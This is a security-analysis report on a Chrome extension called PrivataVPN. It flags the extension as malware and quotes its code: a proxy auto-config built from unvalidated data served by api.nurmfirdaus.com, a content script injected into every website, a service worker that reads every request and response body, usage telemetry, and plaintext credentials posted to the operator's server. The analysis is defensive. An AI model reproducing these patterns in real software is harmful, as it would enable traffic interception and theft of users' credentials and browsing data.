Security Alert: Malware Risk Confirmed
PrivataVPN
ID: odcghjcagaaplheidgfmhcfdcenlipke
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- privatavpnView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Your Decentralized VPN
New Features: -Enhanced Security -Faster Connection Speeds -New Server Locations -Sleek User Interface -Improved Stability
Routes all browser traffic through an IP/port/proxy-type fetched from an attacker-controlled server (api.nurmfirdaus.com). The remote server can push arbitrary SOCKS5/HTTP proxies that MITM every HTTP request the user makes, enabling credential interception, request tampering, and full traffic surveillance. PAC script is constructed by string concatenation with unvalidated remote data, also allowing JS injection into the PAC interpreter.
if (action == "connect") { let selected = localStorage.getItem("selected-server") let jsonSelected = JSON.parse(selected); let method = "PROXY " if (jsonSelected.proxy_type == "SOCKS5") { method = "SOCKS5 " } let address = method + jsonSelected.ip + ":" + jsonSelected.port; var config = { mode: "pac_script", pacScript: { data: "function FindProxyForURL(url, host) {\n" + " return '" + address + "';\n" + "}", }, }; chrome.proxy.settings.set({ value: config, scope: "regular" }, function() {} );server.js is registered in manifest.json as a content script matching http://*/* and https://*/*, meaning it injects jQuery and runs a fetch to api.nurmfirdaus.com on every page the user visits. This leaks browsing activity metadata (request timing/frequency from each origin) to the operator and inserts externally-controlled HTML into pages via unescaped string concatenation (item.name/ip/country/port going into innerHTML), enabling injection if the API response is attacker-controlled.
$(document) .ready(function() { fetch("https://api.nurmfirdaus.com/vpn/proxy") .then(response => response.json()) .then(jsonResp => { $('#server-menu-list') .empty(); let data = jsonResp.data data.map(item => { $('#server-menu-list') .append( '<div class="row row-server"><div class="col col-server-flag"><img class="rounded-circle server-flag" src="./img/flags/' + item.name + '.png" /></div><div class="col col-server-country"><p class="server-country">' + item .country + '</p><p class="server-ip">' + item.ip + '</p></div><div class="col col-server-btn"><button type="button" class="btn btn-info btn-select-server" data-name="' + item.name + '" data-ip="' + item.ip + '" data-country="' + item.country + '" data-port="' + item .port + '" data-type="' + item.proxy_type + '">Select</button></div></div><br/>'); })Extension declares content scripts that inject jQuery plus server.js/ready.js into every http and https page. A VPN extension has no legitimate need to run code in the page context of arbitrary third-party websites; this overly broad injection surface lets the operator leak browsing patterns and push DOM-manipulating payloads site-wide with no scoping to the extension's own UI.
{ "content_scripts": [ { "js": [ "./js/jquery.min.js", "./js/ready.js", "./js/server.js" ], "matches": [ "http://*/*", "https://*/*" ] } ]}Service worker registers a global fetch event handler and re-issues every request through its own fetch(), cloning request bodies and response streams to read their bytes. Beyond merely counting bytes, this pattern gives the extension full programmatic access to the content of every HTTP request/response while proxy is active, providing a direct channel to inspect or exfiltrate request payloads. The asynchronous `is-connected` check also means the branch reading bodies can fire even when the user believes the VPN is off.
// Intercept fetch events to track bandwidth usageself.addEventListener('fetch', (event) => { event.respondWith( (async () => { let connected = false; chrome.storage.local.get(['is-connected'], (result) => { if (result['is-connected']) { connected = true; } else { console.log('The connection status key is not set.'); } }) const response = await fetch(event.request); if (connected) { const responseSize = await calculateResponseSize(response.clone()); const requestClone = event.request.clone(); const requestBody = await requestClone.arrayBuffer(); const requestSize = requestBody.byteLength;On every disconnect, the extension reports the user's total bandwidth consumption (byte_in) tied to a persistent user_id back to api.nurmfirdaus.com. Combined with the fetch-interceptor in background.js, this creates a bandwidth/usage telemetry pipeline tied to user identity with no disclosed privacy policy and no opt-out.
let user_id = localStorage.getItem('user_id');if (user_id) { fetch('https://api.nurmfirdaus.com/user/exp/' + user_id, { method: 'PATCH', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ byte_in }) }) .then(response => response.json()) .then(data => { window.location = './../popup.html'; }) .catch((error) => { console.error('Error:', error); });}Authentication transmits raw email+password to a third-party developer-owned domain (api.nurmfirdaus.com, not a reputable VPN provider) and persists only a user_id in localStorage as a session token. There is no bearer token, no password hashing disclosed, and the credentials are forwarded to infrastructure that also controls the proxy configuration pushed to users' browsers, which is an unusual amount of trust for a free VPN.
fetch('https://api.nurmfirdaus.com/user/token', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email, password }) }) .then(response => response.json()) .then(data => { localStorage.setItem("user_id", data.user_id) window.location = './../popup.html'; })By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.3 | 6 |
Files with findings
5 distinct paths — top paths by unique finding count:
- js/ready.js2
- js/auth.js1
- js/background.js1
- js/server.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.
